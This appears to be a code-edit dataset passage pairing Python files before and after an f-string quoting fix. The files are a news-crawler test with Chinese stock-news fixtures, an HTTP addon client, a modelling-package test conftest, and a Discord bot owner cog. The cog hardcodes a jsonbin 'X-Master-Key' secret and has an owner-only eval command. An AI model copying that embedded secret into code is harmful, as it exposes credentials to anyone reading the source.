output = newsCrawler.getInfo(link=link)
assert NewsStruct.__2dict__(output) == NewsStruct.__2dict__(expected_output)
| # encoding=utf-8
# Author: Yu-Lun Chiang
# Description: Test NewsCrawler
import logging
import pytest
from collections import namedtuple
from Sanga.media import ftvnews
from Sanga.struct import NewsStruct
logger = logging.getLogger(__name__)
TEST_DATA = namedtuple(
typename="TEST_DATA",
field_names=[
"name",
"link",
"expected_output",
],
)
TEST_DATA_1 = TEST_DATA(
name="民視新聞_1",
link="https://www.ftvnews.com.tw/news/detail/2021713W0276",
expected_output=NewsStruct(
title="解封概念股提早佈局！專家：留意「3大族群」起漲順序是重點",
content="\n李永年表示，解封概念股有3大族群可以提前布局，分別是餐飲業、飯店業、旅遊業，這也分別是它們的起漲順序，雖然目前還在三級警戒，不過當警戒一解除，民眾能做的也是最簡單的事情就是到餐廳和親朋好友聚餐，再來才是飯店業，最後才是旅遊業，主要原因是台灣大部分的上市櫃旅行社都主攻國外旅遊市場，所以如果要等全球完全解封可能還有一段時間。第一波以「餐飲業」來看，投資人可以留意王品（2727）、瓦城（2729）以及經營85度C的美食-KY（2723）。（資料照／民視新聞）李永年指出，第一波以「餐飲業」來看，投資人可以留意王品（2727）、瓦城（2729）以及經營85度C的美食-KY（2723），會說美食-KY最主要是因為，85度C在美國與中國的營收相對穩定，門市來客數連5月走揚，雖然台灣實施三級警戒，但85度C在台灣的產品結構下有不少是來自蛋糕及麵包，影響相對來說較能受控制，所以復甦能力好，往後的基本面較能持續穩健。另外，第二波起漲的概念股就是「飯店業」，尤其是旗下既有飯店又有遊樂設施的六福（2705）、劍湖山（5701）等公司，會是民眾的首選，在股市的走勢也會比較吃香。而最後一波起漲的概念股，就是民眾最期盼能出國的「旅遊業」，李永年指出，像是雄獅（2731）、鳳凰（5706）等，不過全球疫情尚未平穩，短期之內沒辦法看得非常樂觀，加上台灣疫苗覆蓋率還未達到目標，國內旅遊也還沒能真正的解封，建議投資人先觀望，待台灣民眾大多都已完成疫苗接種時，可以再進場也不遲。《民視新聞網》提醒您：內容僅供參考，投資人於決策時應審慎評估風險，並就投資結果自行負責。\n",
keywords=["財經", "微解封", "解封概念股", "餐飲", "飯店", "旅遊", "台股"],
category="財經",
media="民視新聞",
datetime="2021-07-13T18:29:17+08:00",
link="https://www.ftvnews.com.tw/news/detail/2021713W0276",
),
)
TEST_DATA_2 = TEST_DATA(
name="民視新聞_2",
link="https://www.ftvnews.com.tw/news/detail/2021721W0079",
expected_output=NewsStruct(
title="MCU市況續熱 新唐盤中漲停創新天價",
content="\n受惠家電等市場需求強勁，加上晶圓代工與後段封測產能吃緊，第3季MCU市場依然維持供不應求態勢，產品價格也隨著成本增加不斷上漲。新唐（4919）等MCU族群在市場資金湧入下，推升股價紛紛走高，其中， 新唐股價強攻漲停，達新台幣147.5元，創新天價。至10時15分，凌通（4952）股價一度達94.3元，應廣（6716）達232元，九齊（6494）也達179元，同創歷史新高價。盛群（6202）股價一度漲停，達149元，逼近歷史最高價149.5元。其餘松翰（5471）與紘康（6457）今天股價也有不錯表現，松翰一度達119元，漲10元，漲幅逾9%，創近14年新高價。紘康一度達167元，漲8元，漲幅逾5%。（中央社）\n",
keywords=["微控制器", "財經", "MCU", "新唐", "凌通", "應廣", "九齊", "盛群"],
category="財經",
media="民視新聞",
datetime="2021-07-21T10:53:11+08:00",
link="https://www.ftvnews.com.tw/news/detail/2021721W0079",
),
)
TEST_DATA_LIST = [TEST_DATA_1, TEST_DATA_2]
@pytest.fixture(scope="module")
def newsCrawler():
logger.warning("Init News Crawler ...")
return ftvnews.FTVNews()
@pytest.mark.parametrize(
argnames="name, link, expected_output",
argvalues=[tuple(t) for t in TEST_DATA_LIST],
ids=[
f"{t.name}, {t.link[:50]+'...' if len(t.link) > 50 else t.link}"
for t in TEST_DATA_LIST
],
)
def test_get_info(
newsCrawler,
name,
link,
expected_output,
):
output = newsCrawler.getInfo(link=link)
assert NewsStruct.__2dict__(output) == NewsStruct.__2dict__(expected_output)
|
import requests
from .settings import ADDONS
def is_available(operation):
"""Checks wether the service for the operation is defined and listening"""
if operation in ADDONS:
health = ADDONS[operation]["health"]
try:
response = requests.request(health["method"], health["uri"])
except Exception as err:
return {
"error": (f"Error retrieving health response from "
f"{health["uri"]}: {str(err)}")
}
if response.status_code != health["code"]:
availability = {
"error": (f"Error retrieving health response from "
f"{health["uri"]}. "
f"Expected status code {health["code"]}, "
f"but got {response.status_code}"),
"status": response.status_code,
"expected": health["code"],
}
else:
availability = {
"success": "Health check OK"
}
else:
availability = {
"error": f"Operation '{operation}' not listed as addon."
}
return availability
def perform(operation, poem):
"""Performs the specified operation over poem and returns the result"""
endpoint = ADDONS[operation]["endpoint"]
data = {field["name"]: field["type"](poem) for field in endpoint["fields"]}
try:
response = requests.request(
endpoint["method"], endpoint["uri"], data=data
)
response_json = response.json()
except Exception as err:
return {
"error": (f"Error retrieving or decoding JSON response from "
f"{endpoint["uri"]}: {str(err)}")
}
if "output" in endpoint:
return response_json.get(endpoint["output"], response_json)
else:
return response_json
| import requests
from .settings import ADDONS
def is_available(operation):
"""Checks wether the service for the operation is defined and listening"""
if operation in ADDONS:
health = ADDONS[operation]["health"]
try:
response = requests.request(health["method"], health["uri"])
except Exception as err:
return {
"error": (f"Error retrieving health response from "
f"{health['uri']}: {str(err)}")
}
if response.status_code != health["code"]:
availability = {
"error": (f"Error retrieving health response from "
f"{health['uri']}. "
f"Expected status code {health['code']}, "
f"but got {response.status_code}"),
"status": response.status_code,
"expected": health["code"],
}
else:
availability = {
"success": "Health check OK"
}
else:
availability = {
"error": f"Operation '{operation}' not listed as addon."
}
return availability
def perform(operation, poem):
"""Performs the specified operation over poem and returns the result"""
endpoint = ADDONS[operation]["endpoint"]
data = {field["name"]: field["type"](poem) for field in endpoint["fields"]}
try:
response = requests.request(
endpoint["method"], endpoint["uri"], data=data
)
response_json = response.json()
except Exception as err:
return {
"error": (f"Error retrieving or decoding JSON response from "
f"{endpoint['uri']}: {str(err)}")
}
if "output" in endpoint:
return response_json.get(endpoint["output"], response_json)
else:
return response_json
|
import logging
from copy import deepcopy
from pathlib import Path
import click.testing
import message_ix
import pandas as pd
import pytest
from ixmp import Platform
from ixmp import config as ixmp_config
from message_ix_models import cli, util
from message_ix_models.util._logging import mark_time, preserve_log_level
from message_ix_models.util.context import Context
log = logging.getLogger(__name__)
# pytest hooks
def pytest_addoption(parser):
"""Add two command-line options to pytest:
``--local-cache``
Use existing, local cache files in tests. This option can speed up tests that
*use* the results of slow data loading/parsing. However, if cached values are not
up to date with the current code, unexpected failure may occur.
``--jvmargs``
Additional arguments to give for the Java Virtual Machine used by :mod:`ixmp`'s
:class:`.JDBCBackend`. Used by :func:`session_context`.
"""
parser.addoption(
"--local-cache",
action="store_true",
help="Use existing local cache files in tests",
)
parser.addoption(
"--jvmargs",
action="store",
default="",
help="Arguments for Java VM used by ixmp JDBCBackend",
)
def pytest_sessionstart():
# Quiet logs for some upstream packages
for name in ("pycountry.db", "matplotlib.backends", "matplotlib.font_manager"):
logging.getLogger(name).setLevel(logging.DEBUG + 1)
# Fixtures
@pytest.fixture(scope="session")
def session_context(pytestconfig, tmp_env):
"""A Context connected to a temporary, in-memory database.
Uses the :func:`.tmp_env` fixture from ixmp.
"""
ctx = Context.only()
# Temporary, empty local directory for local data
session_tmp_dir = Path(pytestconfig._tmp_path_factory.mktemp("data"))
# Set the cache path according to whether pytest --local-cache was given. If True,
# pick up the existing setting from the user environment. If False, use a pytest-
# managed cache directory that persists across test sessions.
ctx.cache_path = (
ctx.local_data.joinpath("cache")
if pytestconfig.option.local_cache
# TODO use pytestconfig.cache.mkdir() when pytest >= 6.3 is available
else Path(pytestconfig.cache.makedir("cache"))
)
# Other local data in the temporary directory for this session only
ctx.local_data = session_tmp_dir
# If message_data is not installed, use a temporary path for private_data_path()
message_data_path = util.MESSAGE_DATA_PATH
if util.MESSAGE_DATA_PATH is None:
util.MESSAGE_DATA_PATH = session_tmp_dir.joinpath("message_data")
# Create some subdirectories
util.MESSAGE_DATA_PATH.joinpath("data", "tests").mkdir(parents=True)
platform_name = "message-ix-models"
# Add a platform connected to an in-memory database
# NB cannot call Config.add_platform() here because it does not support supplying a
# URL for a HyperSQL database.
# TODO add that feature upstream.
ixmp_config.values["platform"][platform_name] = {
"class": "jdbc",
"driver": "hsqldb",
"url": f"jdbc:hsqldb:mem://{platform_name}",
"jvmargs": pytestconfig.option.jvmargs,
}
# Launch Platform and connect to testdb (reconnect if closed)
mp = Platform(name=platform_name)
mp.open_db()
ctx.platform_info["name"] = platform_name
try:
yield ctx
finally:
ctx.close_db()
ixmp_config.remove_platform(platform_name)
# Restore prior value
util.MESSAGE_DATA_PATH = message_data_path
@pytest.fixture(scope="function")
def test_context(request, session_context):
"""A copy of :func:`session_context` scoped to one test function."""
ctx = deepcopy(session_context)
yield ctx
ctx.delete()
@pytest.fixture(scope="function")
def user_context(request): # pragma: no cover
"""Context which can access user's configuration, e.g. platform names."""
# Disabled; this is bad practice
raise NotImplementedError
class CliRunner(click.testing.CliRunner):
"""Subclass of :class:`click.testing.CliRunner` with extra features."""
# NB decorator ensures any changes that the CLI makes to the logger level are
# restored
@preserve_log_level()
def invoke(self, *args, **kwargs):
"""Invoke the :program:`mix-models` CLI."""
result = super().invoke(cli.main, *args, **kwargs)
# Store the result to be used by assert_exit_0()
self.last_result = result
return result
def assert_exit_0(self, *args, **kwargs):
"""Assert a result has exit_code 0, or print its traceback.
If any `args` or `kwargs` are given, :meth:`.invoke` is first called. Otherwise,
the result from the last call of :meth:`.invoke` is used.
Raises
------
AssertionError
if the result exit code is not 0. The exception contains the traceback from
within the CLI.
Returns
-------
click.testing.Result
"""
__tracebackhide__ = True
if len(args) + len(kwargs):
self.invoke(*args, **kwargs)
if self.last_result.exit_code != 0:
# Re-raise the exception triggered within the CLI invocation
raise (
self.last_result.exc_info[1].__context__ or self.last_result.exc_info[1]
)
return self.last_result
@pytest.fixture(scope="session")
def mix_models_cli(request, session_context, tmp_env):
"""A :class:`.CliRunner` object that invokes the :program:`mix-models` CLI."""
# Require the `session_context` fixture in order to set Context.local_data
yield CliRunner(env=tmp_env)
# Testing utility functions
def bare_res(request, context: Context, solved: bool = False) -> message_ix.Scenario:
"""Return or create a Scenario containing the bare RES, for use in testing.
The Scenario has a model name like "MESSAGEix-GLOBIOM [regions]
[start]:[duration]:[end]", e.g. "MESSAGEix-GLOBIOM R14 2020:10:2110" (see
:func:`.bare.name`) and the scenario name "baseline".
This function should:
- only be called from within test code, i.e. in :mod:`message_data.tests`.
- be called once for each test function, so that each test receives a fresh copy of
the RES scenario.
Parameters
----------
request : .Request or None
The pytest :fixture:`pytest:request` fixture. If provided the pytest test node
name is used for the scenario name of the returned Scenario.
context : .Context
Passed to :func:`.testing.bare_res`.
solved : bool, optional
Return a solved Scenario.
Returns
-------
.Scenario
The scenario is a fresh clone, so can be modified freely without disturbing
other tests.
"""
from message_ix_models.model import bare
context.use_defaults(bare.SETTINGS)
name = bare.name(context)
mp = context.get_platform()
try:
base = message_ix.Scenario(mp, name, "baseline")
except ValueError:
log.info(f"Create '{name}/baseline' for testing")
context.scenario_info.update(dict(model=name, scenario="baseline"))
base = bare.create_res(context)
if solved and not base.has_solution():
log.info("Solve")
base.solve(solve_options=dict(lpmethod=4), quiet=True)
try:
new_name = request.node.name
except AttributeError:
new_name = "baseline"
log.info(f"Clone to '{name}/{new_name}'")
return base.clone(scenario=new_name, keep_solution=solved)
#: Items with names that match (partially or fully) these names are omitted by
#: :func:`export_test_data`.
EXPORT_OMIT = [
"aeei",
"cost_MESSAGE",
"demand_MESSAGE",
"demand",
"depr",
"esub",
"gdp_calibrate",
"grow",
"historical_gdp",
"kgdp",
"kpvs",
"lakl",
"land",
"lotol",
"mapping_macro_sector",
"MERtoPPP",
"prfconst",
"price_MESSAGE",
"ref_",
"sector",
]
def export_test_data(context: Context):
"""Export a subset of data from a scenario, for use in tests.
The context settings ``export_nodes`` (default: "R11_AFR" and "R11_CPA") and
``export_techs`` (default: "coal_ppl") are used to filter the data exported.
In addition, any item (set, parameter, variable, or equation) with a name matching
:data:`EXPORT_OMIT` *or* the context setting ``export_exclude`` is discarded.
The output is stored at :file:`data/tests/{model name}_{scenario name}_{techs}.xlsx`
in :mod:`message_data`.
See also
--------
:ref:`export-test-data`
"""
from message_ix_models.util import private_data_path
# Load the scenario to be exported
scen = context.get_scenario()
# Retrieve the context settings giving the nodes and technologies to export
nodes = context.get("export_nodes", ["R11_AFR", "R11_CPA"])
technology = context.get("export_techs", ["coal_ppl"])
# Construct the destination file name
dest_file = private_data_path(
"tests", f"{scen.model}_{scen.scenario}_{"_".join(technology)}.xlsx"
)
# Temporary file name
tmp_file = dest_file.with_name("export_test_data.xlsx")
# Ensure the target directory exists
dest_file.parent.mkdir(exist_ok=True)
# Dump data to temporary Excel file
log.info(f"Export test data to {dest_file}")
scen.to_excel(
tmp_file,
filters={
"technology": technology,
"node": nodes,
"node_dest": nodes,
"node_loc": nodes,
"node_origin": nodes,
"node_parent": nodes,
"node_rel": nodes,
"node_share": nodes,
},
)
mark_time()
log.info("Reduce test data")
# Read from temporary file and write to final file, omitting unnecessary sheets
reader = pd.ExcelFile(tmp_file)
writer = pd.ExcelWriter(dest_file)
# Retrieve the type mapping first, to be modified as sheets are discarded
ix_type_mapping = reader.parse("ix_type_mapping").set_index("item")
for name in reader.sheet_names:
# Check if this sheet is to be included
if name == "ix_type_mapping":
# Already handled
continue
elif any(i in name for i in (EXPORT_OMIT + context.get("export_exclude", []))):
log.info(f"Discard sheet '{name}'")
# Remove from the mapping
ix_type_mapping.drop(name, inplace=True)
continue
# Copy the sheet from temporary to final file
reader.parse(name).to_excel(writer, sheet_name=name, index=False)
# Write the mapping
ix_type_mapping.reset_index().to_excel(
writer, sheet_name="ix_type_mapping", index=False
)
# Save the final file
writer.save()
# Close and remove the temporary file
reader.close()
tmp_file.unlink()
mark_time()
#: Shorthand for marking a parametrized test case that is expected to fail because it is
#: not implemented.
NIE = pytest.mark.xfail(raises=NotImplementedError)
| import logging
from copy import deepcopy
from pathlib import Path
import click.testing
import message_ix
import pandas as pd
import pytest
from ixmp import Platform
from ixmp import config as ixmp_config
from message_ix_models import cli, util
from message_ix_models.util._logging import mark_time, preserve_log_level
from message_ix_models.util.context import Context
log = logging.getLogger(__name__)
# pytest hooks
def pytest_addoption(parser):
"""Add two command-line options to pytest:
``--local-cache``
Use existing, local cache files in tests. This option can speed up tests that
*use* the results of slow data loading/parsing. However, if cached values are not
up to date with the current code, unexpected failure may occur.
``--jvmargs``
Additional arguments to give for the Java Virtual Machine used by :mod:`ixmp`'s
:class:`.JDBCBackend`. Used by :func:`session_context`.
"""
parser.addoption(
"--local-cache",
action="store_true",
help="Use existing local cache files in tests",
)
parser.addoption(
"--jvmargs",
action="store",
default="",
help="Arguments for Java VM used by ixmp JDBCBackend",
)
def pytest_sessionstart():
# Quiet logs for some upstream packages
for name in ("pycountry.db", "matplotlib.backends", "matplotlib.font_manager"):
logging.getLogger(name).setLevel(logging.DEBUG + 1)
# Fixtures
@pytest.fixture(scope="session")
def session_context(pytestconfig, tmp_env):
"""A Context connected to a temporary, in-memory database.
Uses the :func:`.tmp_env` fixture from ixmp.
"""
ctx = Context.only()
# Temporary, empty local directory for local data
session_tmp_dir = Path(pytestconfig._tmp_path_factory.mktemp("data"))
# Set the cache path according to whether pytest --local-cache was given. If True,
# pick up the existing setting from the user environment. If False, use a pytest-
# managed cache directory that persists across test sessions.
ctx.cache_path = (
ctx.local_data.joinpath("cache")
if pytestconfig.option.local_cache
# TODO use pytestconfig.cache.mkdir() when pytest >= 6.3 is available
else Path(pytestconfig.cache.makedir("cache"))
)
# Other local data in the temporary directory for this session only
ctx.local_data = session_tmp_dir
# If message_data is not installed, use a temporary path for private_data_path()
message_data_path = util.MESSAGE_DATA_PATH
if util.MESSAGE_DATA_PATH is None:
util.MESSAGE_DATA_PATH = session_tmp_dir.joinpath("message_data")
# Create some subdirectories
util.MESSAGE_DATA_PATH.joinpath("data", "tests").mkdir(parents=True)
platform_name = "message-ix-models"
# Add a platform connected to an in-memory database
# NB cannot call Config.add_platform() here because it does not support supplying a
# URL for a HyperSQL database.
# TODO add that feature upstream.
ixmp_config.values["platform"][platform_name] = {
"class": "jdbc",
"driver": "hsqldb",
"url": f"jdbc:hsqldb:mem://{platform_name}",
"jvmargs": pytestconfig.option.jvmargs,
}
# Launch Platform and connect to testdb (reconnect if closed)
mp = Platform(name=platform_name)
mp.open_db()
ctx.platform_info["name"] = platform_name
try:
yield ctx
finally:
ctx.close_db()
ixmp_config.remove_platform(platform_name)
# Restore prior value
util.MESSAGE_DATA_PATH = message_data_path
@pytest.fixture(scope="function")
def test_context(request, session_context):
"""A copy of :func:`session_context` scoped to one test function."""
ctx = deepcopy(session_context)
yield ctx
ctx.delete()
@pytest.fixture(scope="function")
def user_context(request): # pragma: no cover
"""Context which can access user's configuration, e.g. platform names."""
# Disabled; this is bad practice
raise NotImplementedError
class CliRunner(click.testing.CliRunner):
"""Subclass of :class:`click.testing.CliRunner` with extra features."""
# NB decorator ensures any changes that the CLI makes to the logger level are
# restored
@preserve_log_level()
def invoke(self, *args, **kwargs):
"""Invoke the :program:`mix-models` CLI."""
result = super().invoke(cli.main, *args, **kwargs)
# Store the result to be used by assert_exit_0()
self.last_result = result
return result
def assert_exit_0(self, *args, **kwargs):
"""Assert a result has exit_code 0, or print its traceback.
If any `args` or `kwargs` are given, :meth:`.invoke` is first called. Otherwise,
the result from the last call of :meth:`.invoke` is used.
Raises
------
AssertionError
if the result exit code is not 0. The exception contains the traceback from
within the CLI.
Returns
-------
click.testing.Result
"""
__tracebackhide__ = True
if len(args) + len(kwargs):
self.invoke(*args, **kwargs)
if self.last_result.exit_code != 0:
# Re-raise the exception triggered within the CLI invocation
raise (
self.last_result.exc_info[1].__context__ or self.last_result.exc_info[1]
)
return self.last_result
@pytest.fixture(scope="session")
def mix_models_cli(request, session_context, tmp_env):
"""A :class:`.CliRunner` object that invokes the :program:`mix-models` CLI."""
# Require the `session_context` fixture in order to set Context.local_data
yield CliRunner(env=tmp_env)
# Testing utility functions
def bare_res(request, context: Context, solved: bool = False) -> message_ix.Scenario:
"""Return or create a Scenario containing the bare RES, for use in testing.
The Scenario has a model name like "MESSAGEix-GLOBIOM [regions]
[start]:[duration]:[end]", e.g. "MESSAGEix-GLOBIOM R14 2020:10:2110" (see
:func:`.bare.name`) and the scenario name "baseline".
This function should:
- only be called from within test code, i.e. in :mod:`message_data.tests`.
- be called once for each test function, so that each test receives a fresh copy of
the RES scenario.
Parameters
----------
request : .Request or None
The pytest :fixture:`pytest:request` fixture. If provided the pytest test node
name is used for the scenario name of the returned Scenario.
context : .Context
Passed to :func:`.testing.bare_res`.
solved : bool, optional
Return a solved Scenario.
Returns
-------
.Scenario
The scenario is a fresh clone, so can be modified freely without disturbing
other tests.
"""
from message_ix_models.model import bare
context.use_defaults(bare.SETTINGS)
name = bare.name(context)
mp = context.get_platform()
try:
base = message_ix.Scenario(mp, name, "baseline")
except ValueError:
log.info(f"Create '{name}/baseline' for testing")
context.scenario_info.update(dict(model=name, scenario="baseline"))
base = bare.create_res(context)
if solved and not base.has_solution():
log.info("Solve")
base.solve(solve_options=dict(lpmethod=4), quiet=True)
try:
new_name = request.node.name
except AttributeError:
new_name = "baseline"
log.info(f"Clone to '{name}/{new_name}'")
return base.clone(scenario=new_name, keep_solution=solved)
#: Items with names that match (partially or fully) these names are omitted by
#: :func:`export_test_data`.
EXPORT_OMIT = [
"aeei",
"cost_MESSAGE",
"demand_MESSAGE",
"demand",
"depr",
"esub",
"gdp_calibrate",
"grow",
"historical_gdp",
"kgdp",
"kpvs",
"lakl",
"land",
"lotol",
"mapping_macro_sector",
"MERtoPPP",
"prfconst",
"price_MESSAGE",
"ref_",
"sector",
]
def export_test_data(context: Context):
"""Export a subset of data from a scenario, for use in tests.
The context settings ``export_nodes`` (default: "R11_AFR" and "R11_CPA") and
``export_techs`` (default: "coal_ppl") are used to filter the data exported.
In addition, any item (set, parameter, variable, or equation) with a name matching
:data:`EXPORT_OMIT` *or* the context setting ``export_exclude`` is discarded.
The output is stored at :file:`data/tests/{model name}_{scenario name}_{techs}.xlsx`
in :mod:`message_data`.
See also
--------
:ref:`export-test-data`
"""
from message_ix_models.util import private_data_path
# Load the scenario to be exported
scen = context.get_scenario()
# Retrieve the context settings giving the nodes and technologies to export
nodes = context.get("export_nodes", ["R11_AFR", "R11_CPA"])
technology = context.get("export_techs", ["coal_ppl"])
# Construct the destination file name
dest_file = private_data_path(
"tests", f"{scen.model}_{scen.scenario}_{'_'.join(technology)}.xlsx"
)
# Temporary file name
tmp_file = dest_file.with_name("export_test_data.xlsx")
# Ensure the target directory exists
dest_file.parent.mkdir(exist_ok=True)
# Dump data to temporary Excel file
log.info(f"Export test data to {dest_file}")
scen.to_excel(
tmp_file,
filters={
"technology": technology,
"node": nodes,
"node_dest": nodes,
"node_loc": nodes,
"node_origin": nodes,
"node_parent": nodes,
"node_rel": nodes,
"node_share": nodes,
},
)
mark_time()
log.info("Reduce test data")
# Read from temporary file and write to final file, omitting unnecessary sheets
reader = pd.ExcelFile(tmp_file)
writer = pd.ExcelWriter(dest_file)
# Retrieve the type mapping first, to be modified as sheets are discarded
ix_type_mapping = reader.parse("ix_type_mapping").set_index("item")
for name in reader.sheet_names:
# Check if this sheet is to be included
if name == "ix_type_mapping":
# Already handled
continue
elif any(i in name for i in (EXPORT_OMIT + context.get("export_exclude", []))):
log.info(f"Discard sheet '{name}'")
# Remove from the mapping
ix_type_mapping.drop(name, inplace=True)
continue
# Copy the sheet from temporary to final file
reader.parse(name).to_excel(writer, sheet_name=name, index=False)
# Write the mapping
ix_type_mapping.reset_index().to_excel(
writer, sheet_name="ix_type_mapping", index=False
)
# Save the final file
writer.save()
# Close and remove the temporary file
reader.close()
tmp_file.unlink()
mark_time()
#: Shorthand for marking a parametrized test case that is expected to fail because it is
#: not implemented.
NIE = pytest.mark.xfail(raises=NotImplementedError)
|
import discord
from aiohttp import request
from discord.ext import commands
import database as db
from functions import update_db
import io
import json
import contextlib
import textwrap
class Owner(commands.Cog):
"""A private cog which only works for me."""
def __init__(self, bot):
self.bot = bot
def cog_check(self, ctx):
return ctx.author.id == 791950104680071188
@commands.command(aliases=["eval"])
async def e(self, ctx, *, code: str = None):
if code is None:
return await ctx.send(
"Define the code too, what is supposed to execute?"
)
code = code.lstrip("```python").rstrip("\n```").lstrip("\n")
local_vars = {
"discord": discord,
"commands": commands,
"bot": self.bot,
"ctx": ctx,
}
stdout = io.StringIO()
try:
with contextlib.redirect_stdout(stdout):
exec(
f"async def func():\n{textwrap.indent(code, " ")}",
local_vars
)
obj = await local_vars["func"]()
result = f"{stdout.getvalue()}"
except Exception as e:
result = e
if len(str(result)) >= 2000:
result = result[:1900]
await ctx.send(
"Result larger than 2000 characters, "
"returned 1900 characters only."
)
await ctx.send(f"```python\n{result}```")
@commands.command()
async def get_guilds(self, ctx, *, user: discord.User = None):
if user is None:
return await ctx.send(
"You need to define the user to find in which guilds they are!"
)
data = {}
for guild in self.bot.guilds:
for member in guild.members:
if member == user:
data.update({guild.name: guild.id})
await ctx.send(
f"**{user}** found in __{len(data)}__ guilds\n```json\n{data}```"
)
@commands.command()
async def get_members(self, ctx, *, guild: discord.Guild = None):
if guild is None:
return await ctx.send("You need to define the guild too")
members = ""
for member in guild.members:
members += f"`{member}` - "
if len(members) > 1500:
members += "**\nMessage was too long so this is not complete**"
break
await ctx.send(members)
@commands.command()
async def get_doc(self, ctx, doc_name=None, *, guild: discord.Guild = None):
if doc_name is None or guild is None:
return await ctx.send(
"You need to define both document name and guild name/id"
)
try:
plugin_db = getattr(db, doc_name.upper())
except Exception:
return await ctx.send(
f"No document with name **{doc_name.upper()}**"
)
doc = await plugin_db.find_one({"_id": guild.id})
await ctx.send(
f"**{doc_name.upper()}** Document for **{guild.name}**\n"
f"```json\n{doc}```"
)
@commands.command()
async def backup_db(self, ctx):
headers = {
"X-Master-Key": "$2b$10$sHW.6D.jlcsj.XuCzJcytOdqPpcZQKNhVZaOgJhEGia1P5ZlCGEUq",
"Content-Type": "application/json"
}
count = 0
# Just plugin document for now
async for i in db.PLUGINS.find({}):
async with request(
"POST",
"https://api.jsonbin.io/v3/b",
data=json.dumps(i),
headers=headers
):
count += 1
await ctx.send(f"Backed up {count} plugin documents.")
@commands.command()
async def update_db(self, ctx):
await update_db([guild.id for guild in self.bot.guilds])
@commands.command()
async def clean_db(self, ctx):
guild_ids = [guild.id for guild in self.bot.guilds]
async for i in db.AUTO_MOD.find({}):
if i["_id"] not in guild_ids:
await db.AUTO_MOD.delete_one(i)
print("AUTO_MOD", i["_id"])
print("\n")
async for i in db.CHATBOT.find({}):
if i["_id"] not in guild_ids:
await db.CHATBOT.delete_one(i)
print("CHATBOT", i["_id"])
print("\n")
async for i in db.PERMISSIONS.find({}):
if i["_id"] not in guild_ids:
await db.PERMISSIONS.delete_one(i)
print("PERMISSIONS", i["_id"])
print("\n")
async for i in db.PLUGINS.find({}):
if i["_id"] not in guild_ids:
await db.PLUGINS.delete_one(i)
print("PLUGINS", i["_id"])
print("\n")
async for i in db.PREFIXES.find({}):
if i["_id"] not in guild_ids:
await db.PREFIXES.delete_one(i)
print("PREFIXES", i["_id"])
print("\n")
async for i in db.REACTION_ROLES.find({}):
if i["_id"] not in guild_ids:
await db.REACTION_ROLES.delete_one(i)
print("REACTION_ROLES", i["_id"])
print("\n")
async for i in db.VERIFY.find({}):
if i["_id"] not in guild_ids:
await db.VERIFY.delete_one(i)
print("VERIFY", i["_id"])
print("\n")
async for i in db.WELCOME.find({}):
if i["_id"] not in guild_ids:
await db.WELCOME.delete_one(i)
print("WELCOME", i["_id"])
def setup(bot):
bot.add_cog(Owner(bot))
| import discord
from aiohttp import request
from discord.ext import commands
import database as db
from functions import update_db
import io
import json
import contextlib
import textwrap
class Owner(commands.Cog):
"""A private cog which only works for me."""
def __init__(self, bot):
self.bot = bot
def cog_check(self, ctx):
return ctx.author.id == 791950104680071188
@commands.command(aliases=["eval"])
async def e(self, ctx, *, code: str = None):
if code is None:
return await ctx.send(
"Define the code too, what is supposed to execute?"
)
code = code.lstrip("```python").rstrip("\n```").lstrip("\n")
local_vars = {
"discord": discord,
"commands": commands,
"bot": self.bot,
"ctx": ctx,
}
stdout = io.StringIO()
try:
with contextlib.redirect_stdout(stdout):
exec(
f"async def func():\n{textwrap.indent(code, ' ')}",
local_vars
)
obj = await local_vars["func"]()
result = f"{stdout.getvalue()}"
except Exception as e:
result = e
if len(str(result)) >= 2000:
result = result[:1900]
await ctx.send(
"Result larger than 2000 characters, "
"returned 1900 characters only."
)
await ctx.send(f"```python\n{result}```")
@commands.command()
async def get_guilds(self, ctx, *, user: discord.User = None):
if user is None:
return await ctx.send(
"You need to define the user to find in which guilds they are!"
)
data = {}
for guild in self.bot.guilds:
for member in guild.members:
if member == user:
data.update({guild.name: guild.id})
await ctx.send(
f"**{user}** found in __{len(data)}__ guilds\n```json\n{data}```"
)
@commands.command()
async def get_members(self, ctx, *, guild: discord.Guild = None):
if guild is None:
return await ctx.send("You need to define the guild too")
members = ""
for member in guild.members:
members += f"`{member}` - "
if len(members) > 1500:
members += "**\nMessage was too long so this is not complete**"
break
await ctx.send(members)
@commands.command()
async def get_doc(self, ctx, doc_name=None, *, guild: discord.Guild = None):
if doc_name is None or guild is None:
return await ctx.send(
"You need to define both document name and guild name/id"
)
try:
plugin_db = getattr(db, doc_name.upper())
except Exception:
return await ctx.send(
f"No document with name **{doc_name.upper()}**"
)
doc = await plugin_db.find_one({"_id": guild.id})
await ctx.send(
f"**{doc_name.upper()}** Document for **{guild.name}**\n"
f"```json\n{doc}```"
)
@commands.command()
async def backup_db(self, ctx):
headers = {
"X-Master-Key": "$2b$10$sHW.6D.jlcsj.XuCzJcytOdqPpcZQKNhVZaOgJhEGia1P5ZlCGEUq",
"Content-Type": "application/json"
}
count = 0
# Just plugin document for now
async for i in db.PLUGINS.find({}):
async with request(
"POST",
"https://api.jsonbin.io/v3/b",
data=json.dumps(i),
headers=headers
):
count += 1
await ctx.send(f"Backed up {count} plugin documents.")
@commands.command()
async def update_db(self, ctx):
await update_db([guild.id for guild in self.bot.guilds])
@commands.command()
async def clean_db(self, ctx):
guild_ids = [guild.id for guild in self.bot.guilds]
async for i in db.AUTO_MOD.find({}):
if i["_id"] not in guild_ids:
await db.AUTO_MOD.delete_one(i)
print("AUTO_MOD", i["_id"])
print("\n")
async for i in db.CHATBOT.find({}):
if i["_id"] not in guild_ids:
await db.CHATBOT.delete_one(i)
print("CHATBOT", i["_id"])
print("\n")
async for i in db.PERMISSIONS.find({}):
if i["_id"] not in guild_ids:
await db.PERMISSIONS.delete_one(i)
print("PERMISSIONS", i["_id"])
print("\n")
async for i in db.PLUGINS.find({}):
if i["_id"] not in guild_ids:
await db.PLUGINS.delete_one(i)
print("PLUGINS", i["_id"])
print("\n")
async for i in db.PREFIXES.find({}):
if i["_id"] not in guild_ids:
await db.PREFIXES.delete_one(i)
print("PREFIXES", i["_id"])
print("\n")
async for i in db.REACTION_ROLES.find({}):
if i["_id"] not in guild_ids:
await db.REACTION_ROLES.delete_one(i)
print("REACTION_ROLES", i["_id"])
print("\n")
async for i in db.VERIFY.find({}):
if i["_id"] not in guild_ids:
await db.VERIFY.delete_one(i)
print("VERIFY", i["_id"])
print("\n")
async for i in db.WELCOME.find({}):
if i["_id"] not in guild_ids:
await db.WELCOME.delete_one(i)
print("WELCOME", i["_id"])
def setup(bot):
bot.add_cog(Owner(bot))
|
